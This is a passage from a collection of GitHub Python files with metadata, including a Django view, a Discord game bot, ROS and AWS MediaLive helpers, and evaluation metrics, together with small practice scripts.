status=status.HTTP_201_CREATED)\n\n def delete(self, request):\n pub_id = int(request.data.get('pub_id'))\n checkbox = Publication.objects.get(pub_id=pub_id,\n user_id=request.user)\n checkbox.delete()\n return Response(data=PublicationFavoriteSerializer(checkbox).data,\n status=status.HTTP_204_NO_CONTENT)\n\n\nclass PublicationFilterSearchView(viewsets.ModelViewSet):\n queryset = Publication.objects.all()\n serializer_class = PublicationFilterSearchSerializer\n filter_backends = [DjangoFilterBackend, SearchFilter]\n filterset_fields = ['title', 'description']\n search_fields = ['=title', '=description']\n ordering_fields = ['title']\n ordering = ['title']","repo_name":"akkbaeva/non_profit","sub_path":"npo_publication/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"1605108474","text":"import requests\nimport time\nimport asyncio\nimport aiohttp\nfrom requests import session\nfrom aiohttp import ClientSession\n\n\ndef get_api(s: session):\n url = \"https://mocki.io/v1/d4867d8b-b5d5-4a48-a4ab-79131b5809b8\"\n req = s.get(url).json()\n print(req)\n\n\ndef main():\n s = session()\n for i in range(3):\n get_api(s)\n\n\nasync def aio_get_api(s: ClientSession):\n url = \"https://mocki.io/v1/d4867d8b-b5d5-4a48-a4ab-79131b5809b8\"\n req = await s.get(url)\n \n print(await req.json())\n\n\nasync def aio_main():\n async with ClientSession() as session:\n task = [aio_get_api(session) for _ in range(3)]\n await asyncio.gather(*task)\n\nif __name__ == \"__main__\":\n s = time.perf_counter()\n asyncio.run(aio_main())\n # main()\n elapsed = time.perf_counter() - s\n print(f\"Code runtime: {elapsed}\")\n","repo_name":"wangshouh/asynio_blog","sub_path":"asynio_basic.py","file_name":"asynio_basic.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"3286172935","text":"import rospy\nfrom tf import TransformListener, Transformer\nimport tf.transformations\nimport numpy as np\n\n\nclass Axis_transform:\n def __init__(self):\n self.listener = TransformListener()\n\n\n def tf_camera_to_base(self, camera_point, multi_dimention=False):\n if multi_dimention:\n return self.transform_coordinate_array('head_rgbd_sensor_rgb_frame', 'base_link', camera_point)\n else:\n return self.transform_coordinate('head_rgbd_sensor_rgb_frame', 'base_link',\n [camera_point[0], camera_point[1], camera_point[2]])\n\n\n def transform_coordinate_array(self, from_tf, to_tf, src_point_array):\n # src_point must be xyz!\n while not rospy.is_shutdown():\n try:\n (trans, rot) = self.listener.lookupTransform(to_tf, from_tf, rospy.Time(0))\n break\n except (tf.LookupException, tf.ConnectivityException, tf.ExtrapolationException):\n continue\n R = self.listener.fromTranslationRotation(trans, rot)\n src_point_array = np.concatenate([src_point_array, np.ones((src_point_array.shape[0], 1))], axis=1)\n out = np.dot(R, src_point_array.T)\n out = out.T\n return out[:, 0:-1]\n\nif __name__ == '__main__':\n rospy.init_node('test_hsr_tf')\n axis_tf = Axis_transform()\n print(axis_tf.get_pose())\n # origin = np.array(([0.09911522, 0.04511706, 1.01600003],\n # [0.09911522, 0.04511706, 1.01600003]))\n # print(origin)\n # base_link = axis_tf.transform_coordinate_array('head_rgbd_sensor_link', 'base_link', origin)\n # print(base_link)\n # camera_link = axis_tf.transform_coordinate_array('base_link', 'head_rgbd_sensor_link', base_link)\n # print(camera_link)\n\n","repo_name":"sehandev/AISys-JYD","sub_path":"utils_yolo/axis_transform.py","file_name":"axis_transform.py","file_ext":"py","file_size_in_byte":1781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"35426465090","text":"# Contains command for Necromunda related content and functions.\n# Started: 2021-01-17\n\nimport discord\nimport json\nimport random\nimport re\n\nfrom discord.ext import commands\nfrom KrigsBot import logger\nfrom KrigsBot import logCommand\n\n### Data Variables ###\nNC_SKILLS = \"./Data/Necromunda_Skills.json\"\n\n\nclass Necromunda(commands.Cog, name=\"Necromunda\"):\n def __init__(self, bot):\n self.bot = bot\n\n ### Command - Necromunda ###\n @commands.group(\n aliases=['nc', 'necro'],\n invoke_without_command=True,\n case_insensitive=True\n )\n async def Necromunda(self, ctx):\n await ctx.send_help(ctx.command)\n\n\n @Necromunda.command(\n help=\"Perform a roll (Injury, OOA, Recovery)\"\n )\n async def roll(self, ctx, type_of_roll: str):\n logCommand(ctx)\n\n if type_of_roll.lower() == \"injury\":\n \n roll_result = random.randint(1,6)\n \n FW_descriptions =[\n 'THEY HAVE WRONGED US!',\n '...No, what you have are bullets, and the hope that when those bullets run out I will no longer be standing...',\n 'Wounds to be tended; lessons to be learned.',\n 'THE FLESH IS WEAK!',\n 'Remind yourself that overconfidence is a *slow* and *insidious* killer.'\n ]\n\n SI_descriptions =[\n 'How quickly the tide turns...',\n 'Death waits for the slightest lapse in concentration...',\n 'Dazed, reeling... about to break.',\n 'Ringing ears, blurred vision - the end approaches...',\n 'Teetering on the brink, facing the abyss...'\n ]\n\n OOA_descriptions =[\n 'TELL YOUR GODS I\\'M COMING!',\n 'OH, THEY\\' GONNA HAVE TO GLUE YOU BACK TOGETHER... IN.HELL!',\n 'Another life wasted in the pursuit of glory and gold.',\n 'A life spent not overcharging plasma, is a life lived in cowardice.',\n 'There can be no hope in this hell, no hope at all...'\n ]\n\n if roll_result in range(1,3):\n result = \"Flesh Wound\"\n result_text = \"The fighter suffers a *Flesh Wound*, reducing their Toughness characteristic by 1.\\nIf a fighter is reduced to Toughness 0, they go *Out Of Action*.\"\n result_color = discord.Color.green()\n result_description = random.choice(FW_descriptions)\n fileName = \"necromunda_FW.png\"\n file = discord.File(\"./Images/necromunda_FW.png\", filename=fileName)\n\n\n elif roll_result in range(3,6):\n result = \"Seriously Injured\"\n result_text = \"The fighter is *Prone* and laid face-down.\\nThey may successfully recover in a later end phase. If this injury was inflicted in close combat, the fighter may be vulnerable to a *Coup De Grace* action. \"\n result_color = discord.Color.gold()\n result_description = random.choice(SI_descriptions)\n fileName = \"necromunda_SI.png\"\n file = discord.File(\"./Images/necromunda_SI.png\", filename=fileName)\n\n else:\n result = \"Out Of Action\"\n result_text = \"The fighter is immediately removed from play.\"\n result_color = discord.Color.red()\n result_description = random.choice(OOA_descriptions)\n fileName = \"necromunda_OOA.png\"\n file = discord.File(\"./Images/necromunda_OOA.png\", filename=fileName)\n\n responseEmbed = discord.Embed(\n title= f\"Injury Dice: {result}\",\n color = result_color,\n description = f\"*{result_description}*\"\n )\n\n responseEmbed.add_field(name=\"Effect\",inline=False,value=result_text)\n responseEmbed.add_field(name=\"Dice roll\",inline=True,value=roll_result)\n responseEmbed.set_image(url=f\"attachment://{fileName}\")\n\n responseEmbed.set_footer(text=\"Source: Necromunda Rulebook (2018); p.71\")\n\n await ctx.send(file = file, embed=responseEmbed)\n\n\n @Necromunda.command(\n aliases=['skill']\n )\n async def skills(self, ctx, *, query=None):\n logCommand(ctx)\n \n\n with open(NC_SKILLS) as file:\n skillList = json.load(file)\n\n uniqueSkillGroup = sorted(set([skillList[skill]['skill_set'] for skill in skillList]))\n\n # Case 1: Invoked with no command, or the 'list' argument\n # Show the invoker a list of all available skills\n if query == None or query == \"list\":\n\n listEmbed = discord.Embed(\n title=f\"Necromunda Skill List\",\n color=discord.Color.blue(),\n description=f\"The following Skillset and skills are loaded\"\n )\n\n for skillgroup in uniqueSkillGroup:\n\n formattedskills = '\\n'.join([skillList[skill]['name'] for skill in skillList if skillList[skill]['skill_set'] == skillgroup])\n listEmbed.add_field(name=f'{skillgroup}', inline=True, value=f\"{formattedskills}\")\n\n await ctx.send(embed=listEmbed)\n\n # Case 2: Invoked with a skill set.\n # NOTE: Because Skill Sets are values, we shift the query into Title-case to match our values.\n elif query.title() in uniqueSkillGroup:\n\n output = \"\"\n\n \n for entry in [[skillList[skill]['skill_number'],skillList[skill]['name']] for skill in skillList if skillList[skill]['skill_set'] == query.title()]:\n output += f\"{entry[0]} - {entry[1]}\\n\"\n\n listEmbed = discord.Embed(\n title=f'Necromunda Skill Set: {query}',\n color=discord.Color.blue(),\n description=f'The {query} skill set contains the following skills:\\n\\n' + output)\n\n await ctx.send(embed=listEmbed)\n\n\n # Case 3: Invoked with a specific skill\n elif query in skillList:\n\n listEmbed = discord.Embed(\n title=f\"Necromunda skill: {skillList[query]['name']}\",\n color=discord.Color.blue(),\n description=f\"{skillList[query]['definition']}\")\n\n listEmbed.add_field(name='Skill Set',inline=True,value=f\"{skillList[query]['skill_set']}\")\n listEmbed.add_field(name='Skill Number',inline=True,value=f\"{skillList[query]['skill_number']}\")\n listEmbed.set_footer(text=f\"Source: {skillList[query]['source']}\")\n\n await ctx.send(embed=listEmbed)\n\n\n # Case 4: No hit in either the skill sets or skill list; lets try a regex match or bail with an apology\n else:\n logger.info(f\"No hit: Did not find term: {query} in Necromunda_Skills.json\")\n termlist = [element for element in skillList]\n \n regex = re.compile(f\".*{query}.*\")\n\n resultlist = list(filter(regex.match, termlist))\n\n if resultlist:\n response = \"```\"\n for term in resultlist:\n response += f\"- {skillList[term]['name'].ljust(22)}{skillList[term]['skill_set']}\\n\"\n \n response += \"```\"\n\n embedResult = discord.Embed(\n title=f\"No hits for {query} in Necromunda Skills\",\n color= discord.Color.red(),\n description=f\"No exact match found for {query}, but there were some partial hits:\"\n )\n\n embedResult.add_field(name=\"Partial hits\",inline=False,value=response)\n\n await ctx.send(embed=embedResult)\n\n else:\n\n embedResult = discord.Embed(\n title=f\"No hits at all for {query} in Necromunda Skills\",\n color=discord.Color.red(),\n description=f\"No hits at all for {query}; Perhaps it's called something else?\\n\\nTry '!nc skills list' for a list of all loaded skills.\"\n )\n\n await ctx.send(embed=embedResult)\n\n\n\n\n\ndef setup(bot):\n bot.add_cog(Necromunda(bot))\n","repo_name":"TurbulentQuasarPhenotype/KrigsBot","sub_path":"cogs/necromunda.py","file_name":"necromunda.py","file_ext":"py","file_size_in_byte":8339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"73643521171","text":"x=int(input())\nl = list(map(int,input().split()))\nc=0\nfor i in l:\n c+=i\n m = c//len(l)\nfor j in l:\n if m==j:\n print('True')\n break\nelse: print('False')","repo_name":"Nagendrasomisetti/codemind-python","sub_path":"Average_element_is_in_array_or_not.py","file_name":"Average_element_is_in_array_or_not.py","file_ext":"py","file_size_in_byte":174,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"19622454235","text":"from collections import defaultdict\nclass Solution:\n def longestConsecutive(self):\n nums = [100,4,200,1,3,2, 101]\n counts = []\n count = 0\n checker = 0 \n dd = defaultdict(int) \n s = set(nums)\n outputs = []\n start = False\n while checker != len(nums): \n if nums[checker] - 1 not in s and start == False: \n start = True\n else:\n checker += 1 \n start = False\n if start == True: \n count += 1 \n if nums[checker] + 1 not in s:\n start = False\n checker += 1 \n outputs.append(count)\n count = 0 \n else:\n nums[checker] += 1\n count += 1 \n print(outputs)\n\nsol = Solution()\nsol.longestConsecutive()","repo_name":"Lumiin0us/DSA_for_relaxation","sub_path":"longest_consecutive_sequence.py","file_name":"longest_consecutive_sequence.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"34205436433","text":"import boto3\nimport traceback\nimport json\n\nmedialive_client = boto3.client(\"medialive\")\ndef lambda_handler(event, context):\n\n print(f\"Lambda got the following event:\\n{json.dumps(event)}\")\n try:\n if 'ChunkSourceDetail' in event['detail']:\n if 'ChannelId' in event['detail']['ChunkSourceDetail']:\n channel_id = event['detail']['ChunkSourceDetail']['ChannelId']\n response = medialive_client.describe_channel(\n ChannelId=channel_id\n )\n\n # Only start the channel if its Idle\n if response['State'] == 'IDLE':\n medialive_client.start_channel(\n ChannelId=channel_id\n )\n print(f\"Started Channel = {channel_id}\")\n else:\n print(f\"Channel = {channel_id} in Running State. Ignoring.\")\n except Exception as e:\n print(f\"Encountered an exception while starting MediaLive channel {str(e)}\")\n print(traceback.format_exc())\n raise\n ","repo_name":"awslabs/aws-media-replay-engine","sub_path":"source/backend/event-life-cycle/runtime/lambda/ChannelStarter.py","file_name":"ChannelStarter.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"66"}
+{"seq_id":"74170607889","text":"from argparse import ArgumentParser\nfrom argparse import Namespace\n\nhi = Namespace()\nprint(hi)\nhi.hi = 1\nprint(hi.hi)\ndef get_args():\n parser = ArgumentParser(description='PyTorch/torchtext SNLI example')\n# parser.add_argument('--epochs', type=int, default=50)\n args = parser.parse_args()\n return args\n\nargs = get_args()\nprint(args)\n#print(args.epochs)\n\nargs.hi = 10\n\nprint(args.hi)","repo_name":"humorbeing/python_github","sub_path":"_SSSSSSandbox/playground_something/uu0003.py","file_name":"uu0003.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"70706483731","text":"import numpy as np\nimport scipy.optimize\nimport sklearn.metrics\n\n\ndef single_eval(true_vps, estimated_vps, K_inverse, missing_vp_penalty=90.):\n\n true_num_vps = true_vps.shape[0]\n true_vds = (K_inverse * np.matrix(true_vps).T).T\n for vi in range(true_vds.shape[0]):\n true_vds[vi,:] /= np.maximum(np.linalg.norm(true_vds[vi,:]), 1e-16)\n\n estm_num_vps = estimated_vps.shape[0]\n num_missing_vps = true_num_vps-estm_num_vps\n num_vp_penalty = np.maximum(num_missing_vps, 0)\n\n estm_vds = (K_inverse * np.matrix(estimated_vps).T).T\n for vi in range(estm_vds.shape[0]):\n estm_vds[vi,:] /= np.maximum(np.linalg.norm(estm_vds[vi,:]), 1e-16)\n\n cost_matrix = np.arccos(np.abs(np.array(true_vds * estm_vds.T))) * 180. / np.pi\n\n row_ind, col_ind = scipy.optimize.linear_sum_assignment(cost_matrix)\n\n errors = []\n for ri, ci in zip(row_ind, col_ind):\n errors += [cost_matrix[ri,ci]]\n if missing_vp_penalty > 0:\n errors += [missing_vp_penalty for _ in range(num_vp_penalty)]\n\n return errors, num_missing_vps\n\n\ndef calc_auc(error_array, cutoff=10.):\n\n error_array = error_array.squeeze()\n error_array = np.sort(error_array)\n num_values = error_array.shape[0]\n\n plot_points = np.zeros((num_values, 2))\n\n midfraction = 1.\n\n for i in range(num_values):\n fraction = (i + 1) * 1.0 / num_values\n value = error_array[i]\n plot_points[i, 1] = fraction\n plot_points[i, 0] = value\n if i > 0:\n lastvalue = error_array[i - 1]\n if lastvalue < cutoff < value:\n midfraction = (lastvalue * plot_points[i - 1, 1] + value * fraction) / (value + lastvalue)\n\n if plot_points[-1, 0] < cutoff:\n plot_points = np.vstack([plot_points, np.array([cutoff, 1])])\n else:\n plot_points = np.vstack([plot_points, np.array([cutoff, midfraction])])\n\n sorting = np.argsort(plot_points[:, 0])\n plot_points = plot_points[sorting, :]\n\n auc = sklearn.metrics.auc(plot_points[plot_points[:, 0] <= cutoff, 0],\n plot_points[plot_points[:, 0] <= cutoff, 1])\n auc = auc / cutoff\n\n return auc, plot_points\n\n\n\ndef single_eval_nyu(true_vps, estm_vps, separate_errors=True, normalised_coords=True, missing_vp_penalty=90.):\n\n fx_rgb = 5.1885790117450188e+02\n fy_rgb = 5.1946961112127485e+02\n cx_rgb = 3.2558244941119034e+02\n cy_rgb = 2.5373616633400465e+02\n\n S = np.matrix([[1. / 320., 0, -1.], [0, 1. / 320., -.75], [0, 0, 1]])\n K = np.matrix([[fx_rgb, 0, cx_rgb], [0, fy_rgb, cy_rgb], [0, 0, 1]])\n SK = S * K\n Kinv = K.I\n SKinv = SK.I\n\n invmat = SKinv if normalised_coords else Kinv\n\n true_num_vps = true_vps.shape[0]\n true_vds = (invmat * np.matrix(true_vps).T).T\n for vi in range(true_vds.shape[0]):\n true_vds[vi,:] /= np.maximum(np.linalg.norm(true_vds[vi,:]), 1e-16)\n\n estm_num_vps = estm_vps.shape[0]\n num_vp_penalty = np.maximum(true_num_vps-estm_num_vps, 0)\n\n missing_vps = -estm_num_vps+true_num_vps\n\n estm_vds = (invmat * np.matrix(estm_vps).T).T\n for vi in range(estm_vds.shape[0]):\n estm_vds[vi,:] /= np.maximum(np.linalg.norm(estm_vds[vi,:]), 1e-16)\n\n cost_matrix = np.arccos(np.abs(np.array(true_vds * estm_vds.T))) * 180. / np.pi\n\n row_ind, col_ind = scipy.optimize.linear_sum_assignment(cost_matrix)\n loss = cost_matrix[row_ind, col_ind].sum() + num_vp_penalty * missing_vp_penalty\n\n errors = []\n for ri, ci in zip(row_ind, col_ind):\n errors += [cost_matrix[ri,ci]]\n if missing_vp_penalty > 0:\n errors += [missing_vp_penalty for _ in range(num_vp_penalty)]\n\n if separate_errors:\n return errors, missing_vps, row_ind, col_ind\n else:\n return loss, missing_vps, row_ind, col_ind\n\n\ndef single_eval_yud(invmat, true_vps, estm_vps, separate_errors=True, missing_vp_penalty=90.):\n\n true_num_vps = true_vps.shape[0]\n true_vds = (invmat * np.matrix(true_vps).T).T\n for vi in range(true_vds.shape[0]):\n true_vds[vi,:] /= np.maximum(np.linalg.norm(true_vds[vi,:]), 1e-16)\n\n estm_num_vps = estm_vps.shape[0]\n num_vp_penalty = np.maximum(true_num_vps-estm_num_vps, 0)\n\n estm_vds = (invmat * np.matrix(estm_vps).T).T\n for vi in range(estm_vds.shape[0]):\n estm_vds[vi,:] /= np.maximum(np.linalg.norm(estm_vds[vi,:]), 1e-16)\n\n cost_matrix = np.arccos(np.abs(np.array(true_vds * estm_vds.T))) * 180. / np.pi\n\n row_ind, col_ind = scipy.optimize.linear_sum_assignment(cost_matrix)\n loss = cost_matrix[row_ind, col_ind].sum() + num_vp_penalty * missing_vp_penalty\n\n errors = []\n for ri, ci in zip(row_ind, col_ind):\n errors += [cost_matrix[ri,ci]]\n if missing_vp_penalty > 0:\n errors += [missing_vp_penalty for _ in range(num_vp_penalty)]\n\n if separate_errors:\n return errors, row_ind, col_ind\n else:\n return loss, row_ind, col_ind","repo_name":"fkluger/vp-linkage","sub_path":"util/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":4891,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"66"}
+{"seq_id":"646960060","text":"valor = int(input('Qual o valor a ser sacado? R$ '))\ntotal = valor\ncedula = 50\ntotced = 0\nwhile True:\n if total >= cedula:\n total -= cedula\n totced += 1\n else:\n if totced > 0:\n print(f'Total de {totced} cédula(s) de R$ {cedula:.2f}.')\n if cedula == 50:\n cedula = 20\n elif cedula == 20:\n cedula = 10\n elif cedula == 10:\n cedula = 1\n totced = 0 # o total de cédula sempre tem que voltar a zero, porque esgotou a qtdade e vai para outra\n if total == 0:\n break\n\n\n","repo_name":"sararrodolfo/cursoemvideo-python","sub_path":"pacote_dowload/exercicio071.py","file_name":"exercicio071.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"70725084051","text":"\r\nfrom header import *\r\nfrom train import *\r\nfrom image_processing import *\r\n\r\ndef machine_learning():\r\n\tprint('*' * 20)\r\n\tprint('MACHINE LEARNING')\r\n\t\r\n\texecute('=' * 20 + '\\nTRAIN', train)\r\n\t\r\ndef process_video():\r\n\tprint('*' * 20)\r\n\tprint('PROCESS VIDEO')\r\n\t\r\n\tprint('Init')\r\n\tsvm = execute('Loading model', cv2.ml.SVM_load, svm_model_file)\r\n\ttemplates, templates_title = execute('Loading templates', load_templates)\r\n\r\n\tinp = cv2.VideoCapture(video_input)\r\n\tvideo_width = int(inp.get(cv2.CAP_PROP_FRAME_WIDTH))\r\n\tvideo_height = int(inp.get(cv2.CAP_PROP_FRAME_HEIGHT))\r\n\tvideo_fps = inp.get(cv2.CAP_PROP_FPS)\r\n\t\r\n\tprint('Video resolution: (' + str(video_width) + ', ' + str(video_height) + ')')\r\n\tprint('Video fps:', video_fps)\r\n\r\n\tout = cv2.VideoWriter(video_output, -1, video_fps, (normal_width, normal_height))\r\n\t\r\n\tprint('Video is running')\r\n\tinfo = []\r\n\t\r\n\tframe_id = 1\r\n\twhile inp.isOpened():\r\n\t\tret, frame = inp.read()\r\n\t\tif (not ret) or (cv2.waitKey(1) & 0xFF == ord('q')):\r\n\t\t\tbreak\r\n\t\tframe = cv2.resize(frame, (normal_width, normal_height))\r\n\t\tprocess_image(frame, svm, templates, templates_title, frame_id, info)\r\n\t\t\r\n\t\tout.write(frame)\r\n\t\tframe_id += 1\r\n \r\n\twith open(output, 'w') as f:\r\n\t\tf.write(str(len(info)) + '\\n')\r\n\t\tfor elem in info:\r\n\t\t f.write(' '.join(str(x) for x in elem))\r\n\t\t \r\n\tinp.release()\r\n\tout.release()\r\n\tcv2.destroyAllWindows()\r\n\r\n\t\r\nif __name__ == '__main__':\r\n\t# extract_video_datasets('D:\\workspace\\TrafficSignRecognitionAndDetection\\Contest\\datasets\\Orginal\\\\abc')\r\n\t# create_train_datasets('D:\\workspace\\TrafficSignRecognitionAndDetection\\Contest\\datasets\\Orginal\\\\abc\\_10')\r\n\t# machine_learning()\r\n\tprocess_video()\r\n\r\n\t'''\r\n\tfor img_dir in glob.glob('D:\\workspace\\\\TrafficSignRecognitionAndDetection\\Contest\\datasets\\Images\\_5\\*'):\r\n\t\tprint(img_dir.split('.')[0] + '111' + '.jpg')\r\n\t\timg = cv2.imread(img_dir)\r\n\t\timg = cv2.flip(img, 1)\r\n\t\tcv2.imwrite(img_dir.split('.')[0] + '_flip' + '.jpg', img)\r\n\t'''","repo_name":"duyndh98/DigitalRace_2017-2018_UniversityRound","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1959,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"66"}
+{"seq_id":"71960394449","text":"\"\"\"\r\n\r\nGivalueen a string s which consists of lowercase or uppercase letters, return the length of the longest palindrome that can be built with those letters.\r\n\r\nLetters are case sensitivaluee, for example, \"Aa\" is not considered a palindrome here.\r\n\r\nExample 1:\r\n\r\nInput: s = \"abccccdd\"\r\nOutput: 7\r\nExplanation: One longest palindrome that can be built is \"dccaccd\", whose length is 7.\r\nExample 2:\r\n\r\nInput: s = \"a\"\r\nOutput: 1\r\nExplanation: The longest palindrome that can be built is \"a\", whose length is 1.\r\n\r\n\"\"\"\r\n\r\nfrom collections import Counter\r\n\r\n\r\ndef longest_palindrome(s):\r\n c = Counter(s)\r\n res = 0\r\n k = 0\r\n for i, j in c.items():\r\n print(i, j)\r\n if j % 2 == 0:\r\n res += j\r\n else:\r\n res += j - 1\r\n k += 1\r\n if k >= 1:\r\n res += 1\r\n return res\r\n\r\n\r\nlongest_palindrome(\"dccaccd\")\r\n","repo_name":"BlueBoi904/Pycyharm","sub_path":"files/longest_palindrome.py","file_name":"longest_palindrome.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"16497056143","text":"from django.shortcuts import render, redirect\nfrom django.contrib.auth.decorators import login_required\nfrom customers.models import Customer\nfrom services.models import Service\nfrom staff.models import StaffModel\nfrom scheduling.models import Appointment\n\n# Create your views here.\ndef unauthorized_view(request):\n return render(request, 'unauthorized.html')\n\ndef login_required_view(request):\n return render(request, 'login_required.html')\n\n@login_required\ndef home_view(request):\n if hasattr(request.user, 'staff'):\n appointments = Appointment.objects.filter(staff__user=request.user)\n services=Service.objects.all()\n staffs=StaffModel.objects.all()\n elif hasattr(request.user, 'user'):\n appointments = Appointment.objects.filter(customer__user=request.user)\n services=Service.objects.filter(is_working=True)\n staffs=StaffModel.objects.filter(is_active=True)\n else:\n appointments=Appointment.objects.all()\n services=Service.objects.all()\n staffs=StaffModel.objects.all()\n appointments_today = appointments.order_by('appdatetime')\n context = {\n 'todays': appointments_today,\n \"services\": services,\n \"staffs\": staffs,\n }\n return render(request, 'overview.html', context)\n","repo_name":"mikaelaatan/msys42-salonmgtsystem","sub_path":"app/common/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"29763019791","text":"import json\r\nimport csv\r\n\r\ndata = []\r\nwith open(\"test-data.json\", \"r\") as fp:\r\n temp = fp.read()\r\n data = json.loads(temp)\r\n\r\n# temp[service[\"table_name\"]] = [i for n, i in enumerate(\r\n # temp[service[\"table_name\"]]) if i not in\r\n # temp[service[\"table_name\"]][:n]]\r\n\r\nduplicates = [i for n, i in enumerate(data) if i in data[:n]]\r\nunique = [i for n, i in enumerate(data) if i not in data[:n]]\r\n# print(temp)\r\nwith open(\"actual-data-2.csv\",\"w+\") as my_csv:\r\n csvWriter = csv.writer(my_csv,delimiter=',')\r\n csvWriter.writerows(data)\r\n\r\nwith open(\"duplicate-2.csv\",\"w+\") as my_csv:\r\n csvWriter = csv.writer(my_csv,delimiter=',')\r\n csvWriter.writerows(duplicates)\r\n\r\nwith open(\"unique-2.csv\",\"w+\") as my_csv:\r\n csvWriter = csv.writer(my_csv,delimiter=',')\r\n csvWriter.writerows(unique)","repo_name":"crypto-44/FindDuplicatesInArrayOfValues","sub_path":"lambda_handler.py","file_name":"lambda_handler.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"39658515660","text":"import unittest\nfrom typing import List\nfrom pprint import pprint\n\n\nclass Solution:\n def fractionToDecimal(self, numerator: int, denominator: int) -> str:\n res, cache = [], {}\n i = 0\n sign = \"-\" if numerator * denominator < 0 else \"\"\n numerator, denominator = abs(numerator), abs(denominator)\n\n int_part, remainder = divmod(numerator, denominator)\n while remainder > 0:\n numerator = remainder*10\n if numerator in cache:\n s, e = cache[numerator], i\n not_repeating = str(int_part) + \".\" + \"\".join(res[:s])\n repeating = \"(\" + \"\".join(res[s:e]) + \")\"\n return sign+not_repeating+repeating\n\n quotient, remainder = divmod(numerator, denominator)\n res.append(str(quotient))\n cache[numerator] = i\n i += 1\n else:\n return sign+str(int_part) + ((\".\" + \"\".join(res)) if res else \"\")\n\n\nclass TestSolution(unittest.TestCase):\n\n def test_case_1(self):\n sol = Solution()\n numerator = 1\n denominator = 2\n expected = \"0.5\"\n self.assertEqual(sol.fractionToDecimal(\n numerator, denominator), expected)\n\n def test_case_2(self):\n sol = Solution()\n numerator = 2\n denominator = 1\n expected = \"2\"\n self.assertEqual(sol.fractionToDecimal(\n numerator, denominator), expected)\n\n def test_case_3(self):\n sol = Solution()\n numerator = 2\n denominator = 3\n expected = \"0.(6)\"\n self.assertEqual(sol.fractionToDecimal(\n numerator, denominator), expected)\n\n def test_case_4(self):\n sol = Solution()\n numerator = 4\n denominator = 333\n expected = \"0.(012)\"\n self.assertEqual(sol.fractionToDecimal(\n numerator, denominator), expected)\n\n def test_case_5(self):\n sol = Solution()\n numerator = 1\n denominator = 5\n expected = \"0.2\"\n self.assertEqual(sol.fractionToDecimal(\n numerator, denominator), expected)\n\n # def test_edge_case_1(self):\n # sol = Solution()\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"EdisonChendi/leetcodeshuashuashua","sub_path":"meiriyiti/cn/166_fraction_to_recurring_decimal.py","file_name":"166_fraction_to_recurring_decimal.py","file_ext":"py","file_size_in_byte":2212,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"66"}
+{"seq_id":"73835964370","text":"class Disturbance:\n \"\"\"Class for represanting disturbances\"\"\"\n\n def __init__(self, variable: str | None, amplitude_value: float) -> None:\n if amplitude_value > 0:\n self.isPositive: bool = True\n self.amplitude: float | None = amplitude_value\n elif amplitude_value < 0:\n self.amplitude = amplitude_value\n self.isPositive = False\n elif amplitude_value == 0:\n self.amplitude = None\n self.isPositive = False\n\n if variable == \"u\":\n self.axis: int | None = 1\n self.type: str | None = \"Derivative\" # Translational Only get Derivative\n self.isRotational: bool = False\n elif variable == \"w\":\n self.axis = 3\n self.type = \"Derivative\" # Translational Only get Derivative\n self.isRotational = False\n elif variable == \"q\":\n self.axis = 2\n self.type = \"Derivative\" # Translational Only get Derivative\n self.isRotational = True\n elif variable == \"theta\":\n self.axis = 2\n self.type = \"Value\" # Rotational\n self.isRotational = True\n\n elif variable == \"v\":\n self.axis = 2\n self.type = \"Derivative\" # Translational Only get Derivative\n self.isRotational = False\n elif variable == \"p\":\n self.axis = 1\n self.type = \"Derivative\" # Translational Only get Derivative\n self.isRotational = True\n elif variable == \"r\":\n self.axis = 3\n self.type = \"Derivative\" # Rotational Only get Derivative\n self.isRotational = True\n elif variable == \"phi\":\n self.axis = 1\n self.type = \"Value\" # Rotational\n self.isRotational = True\n elif variable is None:\n self.axis = None\n self.type = None\n self.amplitude = None\n self.name: str = \"Trim\"\n self.var: str = \"Trim\"\n else:\n raise ValueError(\"Invalid disturbance variable\")\n if variable is not None:\n self.name = f\"{variable} disturbance\"\n self.var = variable\n\n def __str__(self) -> str:\n return f\"{self.name}:\\tType:\\t{self.type} and \\tAmplitude:\\t{self.amplitude}.\"\n","repo_name":"trifwn/Icarus","sub_path":"ICARUS/Flight_Dynamics/disturbances.py","file_name":"disturbances.py","file_ext":"py","file_size_in_byte":2314,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"66"}
